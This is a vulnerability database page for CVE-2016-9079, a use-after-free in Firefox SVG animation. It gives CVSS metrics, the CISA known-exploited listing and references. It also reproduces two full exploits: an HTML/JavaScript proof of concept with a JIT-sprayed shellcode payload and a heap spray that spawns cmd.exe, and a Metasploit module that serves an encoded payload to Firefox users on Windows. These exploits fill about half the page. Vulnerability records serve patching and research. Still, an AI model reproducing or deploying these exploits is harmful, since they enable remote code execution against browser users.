CVE-2016-9079 : Detail

CVE-2016-9079

7.5
/
High
Memory Corruption
95.33%V3
Network
2018-06-11
21h00 +00:00
2025-02-07
12h50 +00:00
CVE.org
NVD
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CVE Descriptions

A use-after-free vulnerability in SVG Animation has been discovered. An exploit built on this vulnerability has been discovered in the wild targeting Firefox and Tor Browser users on Windows. This vulnerability affects Firefox < 50.0.2, Firefox ESR < 45.5.1, and Thunderbird < 45.5.1.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-416 Use After Free
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.5 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N [email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Mozilla Firefox, Firefox ESR, and Thunderbird Use-After-Free Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2023-06-21 22h00 +00:00

Action is due : 2023-07-12 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 42327

Publication date : 2017-07-13 22h00 +00:00
Author : Rh0
EDB Verified : No

<!DOCTYPE HTML> <!-- FULL ASLR AND DEP BYPASS USING ASM.JS JIT SPRAY (CVE-2017-5375) PoC Exploit against Firefox 50.0.1 (CVE-2016-9079 - Tor Browser 0day) Tested on: Release 50.0.1 32-bit - Windows 8.1 / Windows 10 https://ftp.mozilla.org/pub/firefox/releases/50.0.1/win32/en-US/Firefox%20Setup%2050.0.1.exe Howto: 1) serve PoC over network and open it in Firefox 50.0.1 32-bit 2) if you don't see cmd.exe, open processexplorer and verify that cmd.exe was spawned by firefox.exe A successfull exploit attempt should pop cmd.exe Writeup: https://rh0dev.github.io/blog/2017/the-return-of-the-jit/ (C) Rh0 Jul. 13, 2017 --> <script async> function asm_js_module(){ "use asm"; /* huge jitted nop sled */ function payload_code(){ var val = 0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; /* 3 byte VirtualAlloc RWX stager */ val = (val + 0xa890db31)|0; val = (val + 0xa89030b3)|0; val = (val + 0xa81b8b64)|0; val = (val + 0xa80c5b8b)|0; val = (val + 0xa81c5b8b)|0; val = (val + 0xa8b9006a)|0; val = (val + 0xa8904c4c)|0; val = (val + 0xa8902eb1)|0; val = (val + 0xa85144b5)|0; val = (val + 0xa8b99090)|0; val = (val + 0xa8903233)|0; val = (val + 0xa89045b1)|0; val = (val + 0xa8514cb5)|0; val = (val + 0xa8b99090)|0; val = (val + 0xa8904e52)|0; val = (val + 0xa8904bb1)|0; val = (val + 0xa85145b5)|0; val = (val + 0xa8590e6a)|0; val = (val + 0xa84fe789)|0; val = (val + 0xa8086b8b)|0; val = (val + 0xa820738b)|0; val = (val + 0xa8471b8b)|0; val = (val + 0xa82ae349)|0; val = (val + 0xa890c031)|0; val = (val + 0xa890ad66)|0; val = (val + 0xa89c613c)|0; val = (val + 0xa8077c9d)|0; val = (val + 0xa890202c)|0; val = (val + 0xa89c073a)|0; val = (val + 0xa8d7749d)|0; val = (val + 0xa890bdeb)|0; val = (val + 0xa8b9006a)|0; val = (val + 0xa890636f)|0; val = (val + 0xa8906cb1)|0; val = (val + 0xa8516cb5)|0; val = (val + 0xa8b99090)|0; val = (val + 0xa890416c)|0; val = (val + 0xa89075b1)|0; val = (val + 0xa85161b5)|0; val = (val + 0xa8b99090)|0; val = (val + 0xa8907472)|0; val = (val + 0xa89056b1)|0; val = (val + 0xa85169b5)|0; val = (val + 0xa890eb89)|0; val = (val + 0xa83cc583)|0; val = (val + 0xa8006d8b)|0; val = (val + 0xa890dd01)|0; val = (val + 0xa878c583)|0; val = (val + 0xa8006d8b)|0; val = (val + 0xa890dd01)|0; val = (val + 0xa820458b)|0; val = (val + 0xa890d801)|0; val = (val + 0xa890d231)|0; val = (val + 0xa890e789)|0; val = (val + 0xa8590d6a)|0; val = (val + 0xa810348b)|0; val = (val + 0xa890de01)|0; val = (val + 0xa890a6f3)|0; val = (val + 0xa8900de3)|0; val = (val + 0xa804c283)|0; val = (val + 0xa890dbeb)|0; val = (val + 0xa8247d8b)|0; val = (val + 0xa890df01)|0; val = (val + 0xa890ead1)|0; val = (val + 0xa890d701)|0; val = (val + 0xa890d231)|0; val = (val + 0xa8178b66)|0; val = (val + 0xa81c7d8b)|0; val = (val + 0xa890df01)|0; val = (val + 0xa802e2c1)|0; val = (val + 0xa890d701)|0; val = (val + 0xa8903f8b)|0; val = (val + 0xa890df01)|0; val = (val + 0xa890406a)|0; val = (val + 0xa890c031)|0; val = (val + 0xa85030b4)|0; val = (val + 0xa85010b4)|0; val = (val + 0xa890006a)|0; val = (val + 0xa890d7ff)|0; val = (val + 0xa890c931)|0; val = (val + 0xa89000b5)|0; val = (val + 0xa890c3b1)|0; val = (val + 0xa890ebd9)|0; val = (val + 0xa82434d9)|0; val = (val + 0xa890e689)|0; val = (val + 0xa80cc683)|0; val = (val + 0xa890368b)|0; val = (val + 0xa85fc683)|0; val = (val + 0xa890c789)|0; val = (val + 0xa81e8b66)|0; val = (val + 0xa81f8966)|0; val = (val + 0xa802c683)|0; val = (val + 0xa802c783)|0; val = (val + 0xa8901e8a)|0; val = (val + 0xa8901f88)|0; val = (val + 0xa803c683)|0; val = (val + 0xa801c783)|0; val = (val + 0xa803e983)|0; val = (val + 0xa89008e3)|0; val = (val + 0xa890cceb)|0; val = (val + 0xa890e0ff)|0; val = (val + 0xa824248d)|0; /* $ msfvenom --payload windows/exec CMD=cmd.exe EXITFUNC=seh */ val = (val + 0xa882e8fc)|0; val = (val + 0xa8000000)|0; val = (val + 0xa8e58960)|0; val = (val + 0xa864c031)|0; val = (val + 0xa830508b)|0; val = (val + 0xa80c528b)|0; val = (val + 0xa814528b)|0; val = (val + 0xa828728b)|0; val = (val + 0xa84ab70f)|0; val = (val + 0xa8ff3126)|0; val = (val + 0xa8613cac)|0; val = (val + 0xa82c027c)|0; val = (val + 0xa8cfc120)|0; val = (val + 0xa8c7010d)|0; val = (val + 0xa852f2e2)|0; val = (val + 0xa8528b57)|0; val = (val + 0xa84a8b10)|0; val = (val + 0xa84c8b3c)|0; val = (val + 0xa8e37811)|0; val = (val + 0xa8d10148)|0; val = (val + 0xa8598b51)|0; val = (val + 0xa8d30120)|0; val = (val + 0xa818498b)|0; val = (val + 0xa8493ae3)|0; val = (val + 0xa88b348b)|0; val = (val + 0xa831d601)|0; val = (val + 0xa8c1acff)|0; val = (val + 0xa8010dcf)|0; val = (val + 0xa8e038c7)|0; val = (val + 0xa803f675)|0; val = (val + 0xa83bf87d)|0; val = (val + 0xa875247d)|0; val = (val + 0xa88b58e4)|0; val = (val + 0xa8012458)|0; val = (val + 0xa88b66d3)|0; val = (val + 0xa88b4b0c)|0; val = (val + 0xa8011c58)|0; val = (val + 0xa8048bd3)|0; val = (val + 0xa8d0018b)|0; val = (val + 0xa8244489)|0; val = (val + 0xa85b5b24)|0; val = (val + 0xa85a5961)|0; val = (val + 0xa8e0ff51)|0; val = (val + 0xa85a5f5f)|0; val = (val + 0xa8eb128b)|0; val = (val + 0xa86a5d8d)|0; val = (val + 0xa8858d01)|0; val = (val + 0xa80000b2)|0; val = (val + 0xa8685000)|0; val = (val + 0xa86f8b31)|0; val = (val + 0xa8d5ff87)|0; val = (val + 0xa80efebb)|0; val = (val + 0xa868ea32)|0; val = (val + 0xa8bd95a6)|0; val = (val + 0xa8d5ff9d)|0; val = (val + 0xa87c063c)|0; val = (val + 0xa8fb800a)|0; val = (val + 0xa80575e0)|0; val = (val + 0xa81347bb)|0; val = (val + 0xa86a6f72)|0; val = (val + 0xa8ff5300)|0; val = (val + 0xa86d63d5)|0; val = (val + 0xa8652e64)|0; val = (val + 0xa8006578)|0; val = (val + 0xa8909090)|0; return val|0; } return payload_code } </script> <script> function spray_asm_js_modules(){ sprayed = [] for (var i=0; i<= 0x1800; i++){ sprayed[i] = asm_js_module() } } /* heap spray inspired by skylined */ function heap_spray_fake_objects(){ var heap = [] var current_address = 0x08000000 var block_size = 0x1000000 while(current_address < object_target_address){ var heap_block = new Uint32Array(block_size/4 - 0x100) for (var offset = 0; offset < block_size; offset += 0x100000){ /* fake object target = ecx + 0x88 and fake vtable*/ heap_block[offset/4 + 0x00/4] = object_target_address /* self + 4 */ heap_block[offset/4 + 0x14/4] = object_target_address /* the path to EIP */ heap_block[offset/4 + 0x18/4] = 4 heap_block[offset/4 + 0xac/4] = 1 /* fake virtual function --> JIT target */ heap_block[offset/4 + 0x138/4] = jit_payload_target } heap.push(heap_block) current_address += block_size } return heap } /* address of fake object */ object_target_address = 0x30300000 /* address of our jitted shellcode */ jit_payload_target = 0x1c1c0054 /* ASM.JS JIT Spray */ spray_asm_js_modules() /* Spray fake objects */ heap = heap_spray_fake_objects() /* -----> */ /* bug trigger ripped from bugzilla report */ var worker = new Worker('data:javascript,self.onmessage=function(msg){postMessage("one");postMessage("two");};'); worker.postMessage("zero"); var svgns = 'http://www.w3.org/2000/svg'; var heap80 = new Array(0x1000); var heap100 = new Array(0x4000); var block80 = new ArrayBuffer(0x80); var block100 = new ArrayBuffer(0x100); var sprayBase = undefined; var arrBase = undefined; var animateX = undefined; var containerA = undefined; var offset = 0x88 // Firefox 50.0.1 var exploit = function(){ var u32 = new Uint32Array(block80) u32[0x4] = arrBase - offset; u32[0xa] = arrBase - offset; u32[0x10] = arrBase - offset; for(i = heap100.length/2; i < heap100.length; i++) { heap100[i] = block100.slice(0) } for(i = 0; i < heap80.length/2; i++) { heap80[i] = block80.slice(0) } animateX.setAttribute('begin', '59s') animateX.setAttribute('begin', '58s') for(i = heap80.length/2; i < heap80.length; i++) { heap80[i] = block80.slice(0) } for(i = heap100.length/2; i < heap100.length; i++) { heap100[i] = block100.slice(0) } animateX.setAttribute('begin', '10s') animateX.setAttribute('begin', '9s') containerA.pauseAnimations(); } worker.onmessage = function(e) {arrBase=object_target_address; exploit()} //worker.onmessage = function(e) {arrBase=0x30300000; exploit()} var trigger = function(){ containerA = document.createElementNS(svgns, 'svg') var containerB = document.createElementNS(svgns, 'svg'); animateX = document.createElementNS(svgns, 'animate') var animateA = document.createElementNS(svgns, 'animate') var animateB = document.createElementNS(svgns, 'animate') var animateC = document.createElementNS(svgns, 'animate') var idA = "ia"; var idC = "ic"; animateA.setAttribute('id', idA); animateA.setAttribute('end', '50s'); animateB.setAttribute('begin', '60s'); animateB.setAttribute('end', idC + '.end'); animateC.setAttribute('id', idC); animateC.setAttribute('end', idA + '.end'); containerA.appendChild(animateX) containerA.appendChild(animateA) containerA.appendChild(animateB) containerB.appendChild(animateC) document.body.appendChild(containerA); document.body.appendChild(containerB); } window.onload = trigger; setInterval("window.location.reload()", 3000) /* <----- */ </script>
Exploit Database EDB-ID : 41151

Publication date : 2017-01-23 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer def initialize(info={}) super(update_info(info, 'Name' => "Firefox nsSMILTimeContainer::NotifyTimeChange() RCE", 'Description' => %q{ This module exploits an out-of-bounds indexing/use-after-free condition present in nsSMILTimeContainer::NotifyTimeChange() across numerous versions of Mozilla Firefox on Microsoft Windows. }, 'License' => MSF_LICENSE, 'Author' => [ 'Anonymous Gaijin', # Original research/exploit 'William Webb <william_webb[at]rapid7.com>' # Metasploit module ], 'Platform' => 'win', 'Targets' => [ [ 'Mozilla Firefox', { 'Platform' => 'win', 'Arch' => ARCH_X86, } ], ], 'DefaultOptions' => { 'EXITFUNC' => "thread", 'InitialAutoRunScript' => 'migrate -f' }, 'References' => [ [ 'CVE', '2016-9079' ], [ 'Bugzilla', '1321066' ] ], 'Arch' => ARCH_X86, 'DisclosureDate' => "Nov 30 2016", 'DefaultTarget' => 0 ) ) register_options( [ OptBool.new('UsePostHTML', [ true, 'Rewrite page with arbitrary HTML after successful exploitation. NOTE: if set to true, you should probably rewrite data/exploits/ff_smil_uaf/post.html to something useful!', false ]), ], self.class ) end def exploit_html(cli) p = payload.encoded arch = Rex::Arch.endian(target.arch) payload_final = Rex::Text.to_unescape(p, arch, prefix='\\u') base_uri = "#{get_resource.chomp('/')}" # stuff that gets adjusted alot during testing defrag_x = %Q~ for (var i = 0; i < 0x4000; i++) heap80[i] = block80.slice(0) ~ defrag_y = %Q~ for (var i = 0x4401; i < heap80.length; i++) heap80[i] = block80.slice(0) ~ js = %Q~ var worker = new Worker('#{base_uri}/worker.js'); var svgns = 'http://www.w3.org/2000/svg'; var heap80 = new Array(0x5000); var heap100 = new Array(0x5000); var block80 = new ArrayBuffer(0x80); var block100 = new ArrayBuffer(0x100); var sprayBase = undefined; var arrBase = undefined; var animateX = undefined; var containerA = undefined; var milestone_offset = 0x90; var $ = function(id) { return document.getElementById(id); } var heap = function() { var u32 = new Uint32Array(block80) u32[4] = arrBase - milestone_offset; u32[0xa] = arrBase + 0x1000 - milestone_offset; u32[0x10] = arrBase + 0x2000 - milestone_offset; var x = document.createElementNS(svgns, 'animate') var svg = document.createElementNS(svgns, 'svg') svg.appendChild(x) svg.appendChild(x.cloneNode(true)) for (var i = 0; i < 0x400; i++) { var node = svg.cloneNode(true); node.setAttribute('id', 'svg' + i) document.body.appendChild(node); } #{defrag_x} for (var i = 0; i < 0x400; i++) { heap80[i + 0x3000] = block80.slice(0) $('svg' + i).appendChild(x.cloneNode(true)) } for (var i = 0; i < 0x400; i++) { $('svg' + i).appendChild(x.cloneNode(true)) $('svg' + i).appendChild(x.cloneNode(true)) } for (var i = 0; i < heap100.length; i++) heap100[i] = block100.slice(0) #{defrag_y} for (var i = 0x100; i < 0x400; i++) $('svg' + i).appendChild(x.cloneNode(true)) } var exploit = function() { heap(); animateX.setAttribute('begin', '59s') animateX.setAttribute('begin', '58s') animateX.setAttribute('begin', '10s') animateX.setAttribute('begin', '9s') // money shot containerA.pauseAnimations(); } worker.onmessage = function(e) { worker.onmessage = function(e) { window.setTimeout(function() { worker.terminate(); document.body.innerHTML = ''; document.getElementsByTagName('head')[0].innerHTML = ''; document.body.setAttribute('onload', '') document.write('<blink>') }, 1000); } arrBase = e.data; exploit(); } var idGenerator = function() { return 'id' + (((1+Math.random())*0x10000)|0).toString(16).substring(1); } var craftDOM = function() { containerA = document.createElementNS(svgns, 'svg') var containerB = document.createElementNS(svgns, 'svg'); animateX = document.createElementNS(svgns, 'animate') var animateA = document.createElementNS(svgns, 'animate') var animateB = document.createElementNS(svgns, 'animate') var animateC = document.createElementNS(svgns, 'animate') var idX = idGenerator(); var idA = idGenerator(); var idB = idGenerator(); var idC = idGenerator(); animateX.setAttribute('id', idX); animateA.setAttribute('id', idA); animateA.setAttribute('end', '50s'); animateB.setAttribute('id', idB); animateB.setAttribute('begin', '60s'); animateB.setAttribute('end', idC + '.end'); animateC.setAttribute('id', idC); animateC.setAttribute('begin', '10s'); animateC.setAttribute('end', idA + '.end'); containerA.appendChild(animateX) containerA.appendChild(animateA) containerA.appendChild(animateB) containerB.appendChild(animateC) document.body.appendChild(containerA); document.body.appendChild(containerB); } window.onload = craftDOM; ~ # If you want to change the appearance of the landing page, do it here html = %Q~ <html> <head> <meta charset="utf-8"/> <script> #{js} </script> </head> <body> </body> </html> ~ if datastore['UsePostHTML'] f = File.open(File.join(Msf::Config.data_directory, "exploits", "firefox_smil_uaf", "post.html"), "rb") c = f.read html = html.gsub("<blink>", c) else html = html.gsub("<blink>", "") end send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' }) end def worker_js(cli) p = payload.encoded arch = Rex::Arch.endian(target.arch) payload = Rex::Text.to_unescape(p, arch) wt = File.open(File.join(Msf::Config.data_directory, "exploits", "firefox_smil_uaf", "worker.js"), "rb") c = wt.read c = c.gsub("INSERTSHELLCODEHEREPLZ", payload) c = c.gsub("NOPSGOHERE", "\u9090") send_response(cli, c, { 'Content-Type' => 'application/javascript', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' }) end def is_ff_on_windows(user_agent) target_hash = fingerprint_user_agent(user_agent) if target_hash[:ua_name] !~ /Firefox/ or target_hash[:os_name] !~ /Windows/ return false end return true end def on_request_uri(cli, request) print_status("Got request: #{request.uri}") print_status("From: #{request.headers['User-Agent']}") if (!is_ff_on_windows(request.headers['User-Agent'])) print_error("Unsupported user agent: #{request.headers['User-Agent']}") send_not_found(cli) close_client(cli) return end if request.uri =~ /worker\.js/ print_status("Sending worker thread Javascript ...") worker_js(cli) return end if request.uri =~ /index\.html/ or request.uri =~ /\// print_status("Sending exploit HTML ...") exploit_html(cli) close_client(cli) return end end end

Products Mentioned

Configuraton 0

Debian>>Debian_linux >> Version 9.0

Configuraton 0

Redhat>>Enterprise_linux >> Version 5.0

Redhat>>Enterprise_linux >> Version 6.0

Redhat>>Enterprise_linux >> Version 7.0

Redhat>>Enterprise_linux_desktop >> Version 5.0

Redhat>>Enterprise_linux_desktop >> Version 6.0

Redhat>>Enterprise_linux_desktop >> Version 7.0

Redhat>>Enterprise_linux_server >> Version 5.0

Redhat>>Enterprise_linux_server >> Version 6.0

Redhat>>Enterprise_linux_server >> Version 7.0

Redhat>>Enterprise_linux_server_aus >> Version 7.3

Redhat>>Enterprise_linux_server_aus >> Version 7.4

Redhat>>Enterprise_linux_server_eus >> Version 7.3

Redhat>>Enterprise_linux_server_eus >> Version 7.4

Redhat>>Enterprise_linux_server_eus >> Version 7.5

Redhat>>Enterprise_linux_workstation >> Version 5.0

Redhat>>Enterprise_linux_workstation >> Version 6.0

Redhat>>Enterprise_linux_workstation >> Version 7.0

Configuraton 0

Mozilla>>Thunderbird >> Version To (excluding) 45.5.1

Microsoft>>Windows >> Version -

Configuraton 0

Mozilla>>Firefox >> Version To (excluding) 50.0.2

Microsoft>>Windows >> Version -

Configuraton 0

Mozilla>>Firefox >> Version To (excluding) 45.5.1

Microsoft>>Windows >> Version -

Configuraton 0

Torproject>>Tor >> Version -

Microsoft>>Windows >> Version -

References

https://www.debian.org/security/2016/dsa-3730
Tags : vendor-advisory, x_refsource_DEBIAN
http://rhn.redhat.com/errata/RHSA-2016-2843.html
Tags : vendor-advisory, x_refsource_REDHAT
https://security.gentoo.org/glsa/201701-35
Tags : vendor-advisory, x_refsource_GENTOO
http://www.securitytracker.com/id/1037370
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/42327/
Tags : exploit, x_refsource_EXPLOIT-DB
http://rhn.redhat.com/errata/RHSA-2016-2850.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.securityfocus.com/bid/94591
Tags : vdb-entry, x_refsource_BID
https://security.gentoo.org/glsa/201701-15
Tags : vendor-advisory, x_refsource_GENTOO
https://www.exploit-db.com/exploits/41151/
Tags : exploit, x_refsource_EXPLOIT-DB